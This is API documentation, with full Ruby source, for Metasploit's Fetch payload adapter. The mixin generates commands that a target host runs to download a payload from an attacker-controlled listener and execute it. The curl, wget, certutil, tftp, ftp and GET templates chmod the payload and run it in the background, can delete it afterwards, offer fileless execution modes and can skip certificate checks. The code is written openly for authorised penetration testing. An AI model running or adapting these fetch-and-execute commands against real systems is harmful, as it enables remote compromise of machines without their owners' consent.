Module: Msf::Payload::Adapter::Fetch

Includes:
Fileless, Pipe
Included in:
FTP, HTTP, Https, SMB, TFTP
Defined in:
lib/msf/core/payload/adapter/fetch.rb

Overview

Mixin providing fetch-based payload delivery over configurable transports.

Defined Under Namespace

Modules: FTP, Fileless, HTTP, Https, LinuxOptions, Pipe, SMB, TFTP, WindowsOptions

Instance Method Summary collapse

Methods included from Pipe

#_download_pipe, #_generate_curl_pipe, #_generate_get_pipe, #_generate_wget_pipe, #generate_pipe_command, #pipe_supported_binaries

Methods included from Fileless

#_generate_fileless_bash_search, #_generate_fileless_python, #_generate_fileless_shell, #_generate_first_stage_shellcode, #_generate_jmp_instruction

Instance Method Details

#_check_tftp_filevoid

This method returns an undefined value.

Validates that the TFTP client can save the fetched file using the requested destination semantics.



281
282
283
284
285
286
287
# File 'lib/msf/core/payload/adapter/fetch.rb', line 281

def _check_tftp_file
  # Older Linux tftp clients do not support saving the file under a different name
  unless datastore['FETCH_WRITABLE_DIR'].blank? && datastore['FETCH_FILENAME'].blank?
    print_error('The Linux TFTP client does not support saving a file under a different name than the URI.')
    fail_with(Msf::Module::Failure::BadConfig, 'FETCH_WRITABLE_DIR and FETCH_FILENAME must be blank when using the tftp client')
  end
end

#_check_tftp_portvoid

This method returns an undefined value.

Validates that the TFTP listener is configured to use a reachable port for clients that only support port 69.



269
270
271
272
273
274
275
# File 'lib/msf/core/payload/adapter/fetch.rb', line 269

def _check_tftp_port
  # Most tftp clients do not have configurable ports
  if datastore['FETCH_SRVPORT'] != 69 && datastore['FetchListenerBindPort'].blank?
    print_error('The TFTP client can only connect to port 69; to start the server on a different port use FetchListenerBindPort and redirect the connection.')
    fail_with(Msf::Module::Failure::BadConfig, 'FETCH_SRVPORT must be set to 69 when using the tftp client')
  end
end

#_determine_server_comm(ip, srv_comm = datastore['ListenerComm'].to_s) ⇒ Rex::Socket::Comm

Parameters:

  • ip (String, nil)

    The listener IP address used to infer the best communication channel.

  • srv_comm (String) (defaults to: datastore['ListenerComm'].to_s)

    The requested listener communication channel.

Returns:

  • (Rex::Socket::Comm)

    The resolved communication object.

Raises:

  • (RuntimeError)

    If an explicitly requested session comm is invalid.



295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
# File 'lib/msf/core/payload/adapter/fetch.rb', line 295

def _determine_server_comm(ip, srv_comm = datastore['ListenerComm'].to_s)
  comm = nil

  case srv_comm
  when 'local'
    comm = ::Rex::Socket::Comm::Local
  when /\A-?[0-9]+\Z/
    comm = framework.sessions.get(srv_comm.to_i)
    raise("Socket Server Comm (Session #{srv_comm}) does not exist") unless comm
    raise("Socket Server Comm (Session #{srv_comm}) does not implement Rex::Socket::Comm") unless comm.is_a? ::Rex::Socket::Comm
  when nil, ''
    unless ip.nil?
      comm = Rex::Socket::SwitchBoard.best_comm(ip)
    end
  else
    raise("SocketServer Comm '#{srv_comm}' is invalid")
  end

  comm || ::Rex::Socket::Comm::Local
end

#_execute_add(get_file_cmd) ⇒ String

Appends the platform-specific execution sequence to a fetch command.

Parameters:

  • get_file_cmd (String)

    The command that retrieves the payload.

Returns:

  • (String)

    The command updated to execute the payload after download.



320
321
322
323
324
# File 'lib/msf/core/payload/adapter/fetch.rb', line 320

def _execute_add(get_file_cmd)
  return _execute_win(get_file_cmd) if windows?

  _execute_nix(get_file_cmd)
end

#_execute_nix(get_file_cmd) ⇒ String

Appends POSIX execution and optional cleanup behavior to the supplied fetch command, including fileless execution modes when configured.

Parameters:

  • get_file_cmd (String)

    The command that retrieves the payload.

Returns:

  • (String)

    The command updated for POSIX execution.



342
343
344
345
346
347
348
349
350
351
352
# File 'lib/msf/core/payload/adapter/fetch.rb', line 342

def _execute_nix(get_file_cmd)
  return _generate_fileless_shell(get_file_cmd, module_info['AdaptedArch']) if datastore['FETCH_FILELESS'] == 'shell'
  return _generate_fileless_bash_search(get_file_cmd) if datastore['FETCH_FILELESS'] == 'shell-search'
  return _generate_fileless_python(get_file_cmd) if datastore['FETCH_FILELESS'] == 'python3.8+'

  cmds = get_file_cmd
  cmds << ";chmod +x #{_remote_destination_nix}"
  cmds << ";#{_remote_destination_nix}&"
  cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE']
  cmds
end

#_execute_win(get_file_cmd) ⇒ String

Appends Windows execution and optional cleanup behavior to the supplied fetch command.

Parameters:

  • get_file_cmd (String)

    The command that retrieves the payload.

Returns:

  • (String)

    The command updated for Windows execution.



331
332
333
334
335
# File 'lib/msf/core/payload/adapter/fetch.rb', line 331

def _execute_win(get_file_cmd)
  cmds = " & start /B #{_remote_destination_win}"
  cmds << " & del #{_remote_destination_win}" if datastore['FETCH_DELETE']
  get_file_cmd << cmds
end

#_generate_certutil_command(uri) ⇒ String

Builds a certutil-based command line for fetching the payload on Windows.

Returns:

  • (String)

    The certutil fetch-and-execute command.



357
358
359
360
361
362
363
364
365
366
367
368
369
# File 'lib/msf/core/payload/adapter/fetch.rb', line 357

def _generate_certutil_command(uri)
  case fetch_protocol
  when 'HTTP'
    get_file_cmd = "certutil -urlcache -f http://#{download_uri(uri)} #{_remote_destination}"
  when 'HTTPS'
    # I don't think there is a way to disable cert check in certutil....
    print_error('CERTUTIL binary does not support insecure mode')
    fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using CERTUTIL')
  else
    fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
  end
  _execute_add(get_file_cmd)
end

#_generate_curl_command(uri, dynamic_arch) ⇒ String

Builds a curl-based command line for fetching the payload.

Returns:

  • (String)

    The curl fetch-and-execute command.



374
375
376
377
378
379
380
381
382
383
384
385
386
387
# File 'lib/msf/core/payload/adapter/fetch.rb', line 374

def _generate_curl_command(uri, dynamic_arch)
  case fetch_protocol
  when 'HTTP'
    get_file_cmd = "curl -so #{_remote_destination} http://#{download_uri(uri)}"
  when 'HTTPS'
    get_file_cmd = "curl -sko #{_remote_destination} https://#{download_uri(uri)}"
  when 'TFTP'
    get_file_cmd = "curl -so #{_remote_destination} tftp://#{download_uri(uri)}"
  else
    fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
  end
  get_file_cmd << '?arch=$(uname -m)\&endian=$(printf %d \\\'$(head -c6 /bin/sh|tail -c1))' if dynamic_arch
  _execute_add(get_file_cmd)
end

#_generate_ftp_command(uri) ⇒ String

Builds an ftp command line for fetching the payload.

Returns:

  • (String)

    The ftp fetch-and-execute command.



415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
# File 'lib/msf/core/payload/adapter/fetch.rb', line 415

def _generate_ftp_command(uri)
  case fetch_protocol
    # Windows ftp.exe does not support URL-style downloads. Use -A for
    # anonymous login and pipe binary/get/quit via stdin, mirroring the
    # (echo ...) | tftp pattern used on Linux.
  when 'FTP'
    if windows?
      # Windows ftp.exe does not accept a port argument — it always connects
      # to port 21. Strip the port from the command; FETCH_SRVPORT must be 21.
      unless srvport == 21
        fail_with(Msf::Module::Failure::BadConfig,
                  'Windows ftp.exe only connects to port 21. Set FETCH_SRVPORT=21.')
      end
      ftp_cmds = "(echo binary& echo get #{uri} #{_remote_destination_win}& echo quit)| ftp -A -n -i #{srvhost}"
      return _execute_win(ftp_cmds)
    end
    get_file_cmd = "ftp -Vo #{_remote_destination_nix} ftp://#{download_uri(uri)}"
  when 'HTTP'
    get_file_cmd = "ftp -Vo #{_remote_destination_nix} http://#{download_uri(uri)}"
  when 'HTTPS'
    get_file_cmd = "ftp -Vo #{_remote_destination_nix} https://#{download_uri(uri)}"
  else
    fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
  end
  _execute_add(get_file_cmd)
end

#_generate_get_command(uri) ⇒ String

Builds a GET-based command line for fetching the payload.

Returns:

  • (String)

    The GET fetch-and-execute command.



392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
# File 'lib/msf/core/payload/adapter/fetch.rb', line 392

def _generate_get_command(uri)
  # Specifying the method (-m GET) is necessary on OSX
  case fetch_protocol
  when 'HTTP'
    get_file_cmd = "GET -m GET http://#{download_uri(uri)}>#{_remote_destination}"
  when 'HTTPS'
    unless datastore['FETCH_CHECK_CERT']
      # There is no way to disable cert check in GET ...
      print_error('GET binary does not support insecure mode')
      fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using GET')
    end
    get_file_cmd = "GET -m GET https://#{download_uri(uri)} | tee #{_remote_destination}"
  when 'FTP'
    get_file_cmd = "GET ftp://#{download_uri(uri)} | tee #{_remote_destination}"
  else
    fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}")
  end
  _execute_add(get_file_cmd)
end

#_generate_tftp_command(uri) ⇒ String

Builds a tftp command line for fetching the payload, including Linux fileless handling when supported.

Parameters:

  • uri (String)

    The URI path of the payload on the fetch server.

Returns:

  • (String)

    The tftp fetch-and-execute command.



447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
# File 'lib/msf/core/payload/adapter/fetch.rb', line 447

def _generate_tftp_command(uri)
  _check_tftp_port
  case fetch_protocol
  when 'TFTP'
    if windows?
      fetch_command = _execute_win("tftp -i #{srvhost} GET #{uri} #{_remote_destination}")
    else
      _check_tftp_file
      if datastore['FETCH_FILELESS'] != 'none' && linux?
        get_file_cmd = "(echo binary ; echo get #{uri} $f ) | tftp #{srvhost}"
        return _generate_fileless_shell(get_file_cmd, module_info['AdaptedArch']) if datastore['FETCH_FILELESS'] == 'shell'
        return _generate_fileless_bash_search(get_file_cmd) if datastore['FETCH_FILELESS'] == 'shell-search'
        return _generate_fileless_python(get_file_cmd) if datastore['FETCH_FILELESS'] == 'python3.8+'
      else
        fetch_command = "(echo binary ; echo get #{uri} ) | tftp #{srvhost}; chmod +x ./#{uri}; ./#{uri} &"
      end
    end
  else
    fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
  end
  fetch_command
end

#_generate_tnftp_command(uri) ⇒ String

Builds a tnftp command line for fetching the payload.

Parameters:

  • uri (String)

    The URI path of the payload on the fetch server.

Returns:

  • (String)

    The tnftp fetch-and-execute command.



474
475
476
477
478
479
480
481
482
483
484
485
486
487
# File 'lib/msf/core/payload/adapter/fetch.rb', line 474

def _generate_tnftp_command(uri)
  case fetch_protocol
  when 'FTP'
    get_file_cmd = "tnftp -Vo #{_remote_destination_nix} ftp://#{download_uri(uri)}"
  when 'HTTP'
    get_file_cmd = "tnftp -Vo #{_remote_destination_nix} http://#{download_uri(uri)}"
  when 'HTTPS'
    get_file_cmd = datastore['FETCH_CHECK_CERT'] ? '' : 'FTPSSLNOVERIFY=1 '
    get_file_cmd << "tnftp -Vo #{_remote_destination_nix} https://#{download_uri(uri)}"
  else
    fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
  end
  _execute_add(get_file_cmd)
end

#_generate_wget_command(uri, dynamic_arch) ⇒ String

Builds a wget-based command line for fetching the payload.

Returns:

  • (String)

    The wget fetch-and-execute command.



492
493
494
495
496
497
498
499
500
501
502
503
# File 'lib/msf/core/payload/adapter/fetch.rb', line 492

def _generate_wget_command(uri, dynamic_arch)
  case fetch_protocol
  when 'HTTPS'
    get_file_cmd = "wget -qO #{_remote_destination} --no-check-certificate https://#{download_uri(uri)}"
  when 'HTTP'
    get_file_cmd = "wget -qO #{_remote_destination} http://#{download_uri(uri)}"
  else
    fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
  end
  get_file_cmd << '?arch=$(uname -m)\&endian=$(printf %d \\\'$(head -c6 /bin/sh|tail -c1))' if dynamic_arch
  _execute_add(get_file_cmd)
end

#_remote_destinationString

Returns the platform-appropriate destination path used by download commands.

Returns:

  • (String)

    The payload destination path.



509
510
511
512
513
# File 'lib/msf/core/payload/adapter/fetch.rb', line 509

def _remote_destination
  return _remote_destination_win if windows?

  _remote_destination_nix
end

#_remote_destination_nixString

Returns or memoizes the remote payload destination for POSIX targets.

Returns:

  • (String)

    The POSIX destination path or fileless placeholder.



518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
# File 'lib/msf/core/payload/adapter/fetch.rb', line 518

def _remote_destination_nix
  return @remote_destination_nix unless @remote_destination_nix.nil?

  if datastore['FETCH_FILELESS'] != 'none'
    @remote_destination_nix = '$f'
  else
    writable_dir = datastore['FETCH_WRITABLE_DIR']
    writable_dir = '.' if writable_dir.blank?
    writable_dir += '/' unless writable_dir[-1] == '/'
    payload_filename = datastore['FETCH_FILENAME']
    payload_filename = srvuri if payload_filename.blank?
    payload_path = writable_dir + payload_filename
    @remote_destination_nix = payload_path
  end
  @remote_destination_nix
end

#_remote_destination_winString

Returns or memoizes the remote payload destination for Windows targets.

Returns:

  • (String)

    The Windows destination path.



538
539
540
541
542
543
544
545
546
547
548
549
# File 'lib/msf/core/payload/adapter/fetch.rb', line 538

def _remote_destination_win
  return @remote_destination_win unless @remote_destination_win.nil?

  writable_dir = datastore['FETCH_WRITABLE_DIR']
  writable_dir += '\\' unless writable_dir.blank? || writable_dir[-1] == '\\'
  payload_filename = datastore['FETCH_FILENAME']
  payload_filename = srvuri if payload_filename.blank?
  payload_path = writable_dir + payload_filename
  payload_path += '.exe' unless payload_path[-4..] == '.exe'
  @remote_destination_win = payload_path
  @remote_destination_win
end

#add_srv_entry(uri, data, opts) ⇒ Object



98
99
100
# File 'lib/msf/core/payload/adapter/fetch.rb', line 98

def add_srv_entry(uri, data, opts)
  @srv_resources << { opts: opts, uri: uri, data: data }
end

#default_srvuri(extra_data = nil) ⇒ String

If no fetch URL is provided, we generate one based off the underlying payload data. This is because if we use a randomly-generated URI, the URI generated by venom and Framework will not match. This way, we can build a payload in venom and a listener in Framework, and if the underlying payload type/host/port are the same, the URI will be, too.

Parameters:

  • extra_data (String, nil) (defaults to: nil)

    Additional data to incorporate into the generated URI hash.

Returns:

  • (String)

    A stable URI-safe identifier for the served payload.



47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
# File 'lib/msf/core/payload/adapter/fetch.rb', line 47

def default_srvuri(extra_data = nil)
  # If we're in framework, payload is in datastore; msfvenom has it in refname
  payload_name = datastore['payload'] ||= refname
  decoded_uri = payload_name.dup
  # there may be no transport, so leave the connection string off if that's the case
  netloc = ''
  if module_info['ConnectionType'].upcase == 'REVERSE' || module_info['ConnectionType'].upcase == 'TUNNEL'
    netloc << datastore['LHOST'] unless datastore['LHOST'].blank?
    unless datastore['LPORT'].blank?
      if Rex::Socket.is_ipv6?(netloc)
        netloc = "[#{netloc}]:#{datastore['LPORT']}"
      else
        netloc = "#{netloc}:#{datastore['LPORT']}"
      end
    end
  elsif module_info['ConnectionType'].upcase == 'BIND'
    netloc << datastore['LHOST'] unless datastore['LHOST'].blank?
    unless datastore['RPORT'].blank?
      if Rex::Socket.is_ipv6?(netloc)
        netloc = "[#{netloc}]:#{datastore['RPORT']}"
      else
        netloc = "#{netloc}:#{datastore['RPORT']}"
      end
    end
  end
  decoded_uri << ";#{netloc}"
  decoded_uri << ";#{extra_data}" unless extra_data.nil?
  Base64.urlsafe_encode64(OpenSSL::Digest::MD5.new(decoded_uri).digest, padding: false)
end

#download_uri(uri) ⇒ String

Returns the payload download URI served by the fetch listener.

Returns:

  • (String)

    The URI path and authority for the generated payload.



80
81
82
# File 'lib/msf/core/payload/adapter/fetch.rb', line 80

def download_uri(uri)
  "#{srvnetloc}/#{uri}"
end

#fetch_bindhostString

Returns the interface the fetch service should bind to.

Returns:

  • (String)

    The bind address for the local fetch listener.



87
88
89
# File 'lib/msf/core/payload/adapter/fetch.rb', line 87

def fetch_bindhost
  datastore['FetchListenerBindAddress'].blank? ? srvhost : datastore['FetchListenerBindAddress']
end

#fetch_bindnetlocString

Returns the authority string used by the fetch listener socket.

Returns:

  • (String)

    The host:port pair for the fetch listener.



105
106
107
# File 'lib/msf/core/payload/adapter/fetch.rb', line 105

def fetch_bindnetloc
  Rex::Socket.to_authority(fetch_bindhost, fetch_bindport)
end

#fetch_bindportInteger

Returns the TCP port the fetch service should bind to.

Returns:

  • (Integer)

    The bind port for the local fetch listener.



94
95
96
# File 'lib/msf/core/payload/adapter/fetch.rb', line 94

def fetch_bindport
  datastore['FetchListenerBindPort'].blank? ? srvport : datastore['FetchListenerBindPort']
end

#generate(opts = {}) ⇒ Object



109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
# File 'lib/msf/core/payload/adapter/fetch.rb', line 109

def generate(opts = {})
  if opts[:dynamic_arch].nil?
    @srv_resources = []
    opts[:arch] ||= module_info['AdaptedArch']
    if opts[:arch] == ARCH_ANY && module_info['AdaptedPlatform'] == 'linux'
      multi_supported_fileless = ['none', 'python3.8+']
      multi_supported_cmd = ['WGET', 'CURL']
      fail_with(Msf::Module::Failure::BadConfig, 'Selected option for FETCH_FILELESS is not supported on multi arch Meterpreter.') unless multi_supported_fileless.include?(datastore['FETCH_FILELESS'])
      fail_with(Msf::Module::Failure::BadConfig, 'Selected option for FETCH_COMMAND is not supported on multi arch Meterpreter.') unless multi_supported_cmd.include?(datastore['FETCH_COMMAND'])
      opts[:dynamic_arch] = true
      # placeholder — binary is generated on demand at request time once arch is known
      add_srv_entry(srvuri, 'x', opts)
    else
      opts[:dynamic_arch] = false
      opts[:code] = super(opts)
      add_srv_entry(srvuri, generate_payload_exe(opts), opts)
    end

    cmd = generate_fetch_commands(uri: srvuri, dynamic_arch: opts[:dynamic_arch])
    if datastore['FETCH_PIPE']
      unless pipe_supported_binaries.include?(datastore['FETCH_COMMAND'].upcase)
        fail_with(Msf::Module::Failure::BadConfig, "Unsupported binary selected for FETCH_PIPE option: #{datastore['FETCH_COMMAND']}, must be one of #{pipe_supported_binaries}.")
      end
      cmd << "\n" if windows?
      add_srv_entry(pipe_srvuri, cmd, opts.merge(dynamic_arch: false))
      cmd = generate_pipe_command(pipe_srvuri)
    end
    vprint_status("Command to execute on target: #{cmd}")
    cmd
  else
    super(opts)
  end
end

#generate_fetch_commands(uri: srvuri, dynamic_arch: false) ⇒ String

Dispatches command generation to the selected FETCH_COMMAND helper.

Returns:

  • (String)

    The generated fetch-and-execute command.



146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
# File 'lib/msf/core/payload/adapter/fetch.rb', line 146

def generate_fetch_commands(uri: srvuri, dynamic_arch: false)
  case datastore['FETCH_COMMAND'].upcase
  when 'FTP'
    return _generate_ftp_command(uri)
  when 'TNFTP'
    return _generate_tnftp_command(uri)
  when 'WGET'
    return _generate_wget_command(uri, dynamic_arch)
  when 'CURL'
    return _generate_curl_command(uri, dynamic_arch)
  when 'TFTP'
    return _generate_tftp_command(uri)
  when 'CERTUTIL'
    return _generate_certutil_command(uri)
  when 'GET'
    return _generate_get_command(uri)
  else
    fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
  end
end

#generate_payload_uuid(conf = {}) ⇒ PayloadUUID

Generates a payload UUID using the adapted platform and architecture by default.

Parameters:

  • conf (Hash) (defaults to: {})

    UUID generation options.

Returns:

  • (PayloadUUID)

    The generated payload UUID.



183
184
185
186
187
# File 'lib/msf/core/payload/adapter/fetch.rb', line 183

def generate_payload_uuid(conf = {})
  conf[:arch] ||= module_info['AdaptedArch']
  conf[:platform] ||= module_info['AdaptedPlatform']
  super
end

#generate_stage(opts = {}) ⇒ String

Generates the stage using the adapted architecture when one is not explicitly provided.

Parameters:

  • opts (Hash) (defaults to: {})

    Stage generation options.

Returns:

  • (String)

    The generated stage contents.



172
173
174
175
176
# File 'lib/msf/core/payload/adapter/fetch.rb', line 172

def generate_stage(opts = {})
  opts[:arch] ||= module_info['AdaptedArch']
  opts[:arch] = opts[:uuid].arch if opts[:uuid]&.arch
  super
end

#handle_connection(conn, opts = {}) ⇒ Object

Handles a new incoming connection while ensuring the adapted architecture is supplied to the parent implementation.

Parameters:

  • conn (Object)

    The connection object being handled.

  • opts (Hash) (defaults to: {})

    Connection handling options.

Returns:

  • (Object)

    The result from the parent handler.



195
196
197
198
# File 'lib/msf/core/payload/adapter/fetch.rb', line 195

def handle_connection(conn, opts = {})
  opts[:arch] ||= module_info['AdaptedArch']
  super
end

#initialize(*args) ⇒ void

Initializes the fetch adapter state and registers datastore options used to stage and serve the adapted payload.

Parameters:

  • args (Array)

    Arguments forwarded to the parent payload initializer.



11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# File 'lib/msf/core/payload/adapter/fetch.rb', line 11

def initialize(*args)
  super
  register_options(
    [
      Msf::OptBool.new('FETCH_DELETE', [true, 'Attempt to delete the binary after execution', false]),
      Msf::OptPort.new('FETCH_SRVPORT', [true, 'Local port to use for serving payload', 8080]),
      # FETCH_SRVHOST defaults to LHOST, but if the payload doesn't connect back to Metasploit (e.g. adduser, messagebox, etc.) then FETCH_SRVHOST needs to be set
      Msf::OptAddressRoutable.new('FETCH_SRVHOST', [ !options['LHOST']&.required, 'Local IP to use for serving payload']),
      Msf::OptString.new('FETCH_URIPATH', [ false, 'Local URI to use for serving payload', '']),
    ]
  )
  register_advanced_options(
    [
      Msf::OptAddress.new('FetchListenerBindAddress', [ false, 'The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST']),
      Msf::OptPort.new('FetchListenerBindPort', [false, 'The port to bind to if different from FETCH_SRVPORT']),
      Msf::OptBool.new('FetchHandlerDisable', [true, 'Disable fetch handler', false])
    ]
  )
  deregister_options('REQUESTED_ARCH')
  @fetch_service = nil
  @myresources = []
  @srv_resources = []
  @remote_destination_win = nil
  @remote_destination_nix = nil
  @windows = nil
end

#linux?Boolean

Indicates whether the adapted payload targets Linux.

Returns:

  • (Boolean)

    True when the first adapted platform is Linux.



258
259
260
261
262
263
# File 'lib/msf/core/payload/adapter/fetch.rb', line 258

def linux?
  return @linux unless @linux.nil?

  @linux = platform.platforms.first == Msf::Module::Platform::Linux
  @linux
end

#pipe_srvuriString

Returns the URI path used when serving commands through FETCH_PIPE.

Returns:

  • (String)

    The pipe command URI path.



239
240
241
242
243
# File 'lib/msf/core/payload/adapter/fetch.rb', line 239

def pipe_srvuri
  return datastore['FETCH_URIPATH'] unless datastore['FETCH_URIPATH'].blank?

  default_srvuri('pipe')
end

#srvhostString

Returns the configured host used to serve the adapted payload.

Returns:

  • (String)

    The payload service host.



203
204
205
206
207
208
# File 'lib/msf/core/payload/adapter/fetch.rb', line 203

def srvhost
  host = datastore['FETCH_SRVHOST']
  host = datastore['LHOST'] if host.blank?
  host = '127.127.127.127' if host.blank?
  host
end

#srvnetlocString

Returns the authority string for the payload fetch service.

Returns:

  • (String)

    The host:port pair used in generated download URLs.



213
214
215
# File 'lib/msf/core/payload/adapter/fetch.rb', line 213

def srvnetloc
  Rex::Socket.to_authority(srvhost, srvport)
end

#srvportInteger

Returns the configured port used to serve the adapted payload.

Returns:

  • (Integer)

    The payload service port.



220
221
222
# File 'lib/msf/core/payload/adapter/fetch.rb', line 220

def srvport
  datastore['FETCH_SRVPORT']
end

#srvuriString

Returns the URI path used to serve the payload or a deterministic default when one has not been explicitly configured.

Returns:

  • (String)

    The payload download URI path.



228
229
230
231
232
233
234
# File 'lib/msf/core/payload/adapter/fetch.rb', line 228

def srvuri
  # When FETCH_PIPE is active the user-defined URI is reserved for the pipe
  # command endpoint; the payload always gets the auto-generated URI.
  return default_srvuri if datastore['FETCH_PIPE'] || datastore['FETCH_URIPATH'].blank?

  datastore['FETCH_URIPATH']
end

#windows?Boolean

Indicates whether the adapted payload targets Windows.

Returns:

  • (Boolean)

    True when the first adapted platform is Windows.



248
249
250
251
252
253
# File 'lib/msf/core/payload/adapter/fetch.rb', line 248

def windows?
  return @windows unless @windows.nil?

  @windows = platform.platforms.first == Msf::Module::Platform::Windows
  @windows
end